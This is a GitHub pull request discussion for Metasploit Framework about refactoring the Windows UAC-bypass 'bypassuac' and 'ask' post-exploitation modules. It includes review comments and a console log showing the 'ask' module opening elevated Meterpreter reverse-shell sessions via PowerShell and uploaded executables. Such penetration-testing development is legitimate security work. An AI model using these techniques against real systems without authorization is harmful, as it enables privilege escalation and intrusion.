Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bypassuac/psh option #2585

Merged
merged 17 commits into from Sep 28, 2014
Merged

Conversation

jamesbcook
Copy link
Contributor

This will give the option to drop an exe or use psh if uac is turned off. The lib can be used for post exploitation to drop an exe or usepowershell and then execute it with the runas command. I have used the lib for both bypassuac and ask. #2551

This will give the option to drop an exe or use psh if uac is turned
off.  The lib can be used for post exploitation to drop an exe or use
powershell and then execute it with the runas command.  I have used the
lib for both bypassuac and ask.
@Meatballs1
Copy link
Contributor

@b00stfr3ak you have git rm ask.rb means this request will try to delete that file from the repo. Can you back out that change? (It may not be easy to do it, previously I have just copied the files to a new branch...)

include Msf::Exploit::EXE
include Msf::Exploit::Powershell

def execute_exe(filename=nil,path=nil,upload=nil)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker, but Ruby style says that method definitions should be written like:

def foo(a = nil, b = 'adfadf', ...)

IOW, spaces between arguments, and spaces on either side of the = when used.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also, I'm not sure of the value in this upload variable. On the one hand, it seems like you are using it as a boolean to control whether or not to upload the payload and therefore you should just use a native true/false default value rather than nil, but on the other hand, no falsey value ever makes sense here because you just print and return so perhaps you should not even make this an option.

Removed upload var, it really served no purpose.
@Meatballs1
Copy link
Contributor

This needs merging with upstream changes but should then be good to go.

@Meatballs1
Copy link
Contributor

The update doesn't seem to be successful, it reverts the runas.rb lib to previous version and the bypassuac changes are no longer there :(

@jamesbcook
Copy link
Contributor Author

Yeah I mucked up. Fixing and testing now. Should be up shortly.
On Aug 1, 2014 3:51 PM, "Meatballs1" notifications@github.com wrote:

The update doesn't seem to be successful, it revers the runas.rb lib to
previous version and the bypassuac changes are no longer there :(


Reply to this email directly or view it on GitHub
#2585 (comment)
.

@Meatballs1
Copy link
Contributor

I have managed to do a clean request:

https://github.com/Meatballs1/metasploit-framework/compare/rapid7:master...Meatballs1:land_2585?expand=1

I will give that a test if you like and land that to save you re-merging stuff

@Meatballs1
Copy link
Contributor

Hmm, if set UAC to the lowest option, there's no need to ask as I'm already flagged as an administrator, is there a specific level that needs configuring?

Changed names to look like shell_execute_(option), to make it more
defined on what it does.
Also removed upload option
Changed runas method to use the new runas lib.  Also did some rubocop
changes.
@jamesbcook
Copy link
Contributor Author

Hmm, Didn't look into seeing if everything is run as admin if UAC is turned off. If that is the case then I don't think doing the run does anything besides give you another shell (might not be a bad thing).

@Meatballs1
Copy link
Contributor

Well it doesn't give you the other shell as the current module logic just says you are an admin and UAC is disabled and exits :)

For some reason the handler was closing before the command could
complete.  Added the time out from bypassuac and now both psh and exe
work perfectly.
@jamesbcook
Copy link
Contributor Author

@Meatballs1 you're right don't know why it was doing that.

msf exploit(handler) > exploit 

[*] Started reverse handler on 192.168.1.202:4444 
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 192.168.1.202
[*] Meterpreter session 1 opened (192.168.1.202:4444 -> 192.168.1.202:42037) at     2014-08-02 14:25:31 -0700

meterpreter > background 
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ask 
msf exploit(ask) > set TECHNIQUE PSH
TECHNIQUE => PSH
msf exploit(ask) > set SESSION 1
SESSION => 1
msf exploit(ask) > exploit 

[*] Started reverse handler on 192.168.1.202:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Executing Command!
[*] Sending stage (769536 bytes) to 192.168.1.202
[*] Meterpreter session 2 opened (192.168.1.202:4444 -> 192.168.1.202:42046) at     2014-08-02 14:26:39 -0700

meterpreter > background 
[*] Backgrounding session 2...
msf exploit(ask) > set TECHNIQUE EXE
TECHNIQUE => EXE
msf exploit(ask) > exploit 

[*] Started reverse handler on 192.168.1.202:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading NVvDHDS.exe - 73802 bytes to the filesystem...
[*] Executing Command!
[*] Sending stage (769536 bytes) to 192.168.1.202
[*] Meterpreter session 3 opened (192.168.1.202:4444 -> 192.168.1.202:42064) at 2014-08-02 14:28:43 -0700

@jamesbcook
Copy link
Contributor Author

@Meatballs1 I see what you mean, validate_environment! checks if is already admin and fails/stops execution if true so it never reaches runas. So I can remove the runas parts in bypassuac, and the rest can be merged if that works for you.

@jamesbcook
Copy link
Contributor Author

So I think our options are

  • Remove runas from bypassuac and ask if user is already admin and use the fail that's in bypass already

Or

  • Keep runas in bypassuac and ask even if the user is admin just to spawn another shell and remove the fail method in bypassuac

@Meatballs1
Copy link
Contributor

I think perhaps just remove it if it is redundant? But there may be some subtlety we are missing.

@mubix Is there some reason Shell Execute Runas is required when DoNotPrompt is set? Would a normal file execution not execute in the administrators group?

@jamesbcook
Copy link
Contributor Author

bump

@Meatballs1
Copy link
Contributor

Will leave existing functionality as is, and get the refactors in. If @mubix lets us know why it was like that originally we can remove if needed :)

@Meatballs1 Meatballs1 merged commit 88f2383 into rapid7:master Sep 28, 2014
Meatballs1 added a commit that referenced this pull request Sep 28, 2014
@mubix
Copy link
Contributor

mubix commented Sep 29, 2014

@Meatballs1 @b00stfr3ak - It suggests the ask module because if it's low, no need try try bypassuac, ASK will just run it elevated without ever prompting the user. Less stuff on the system, no need to upload crypto.dll

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants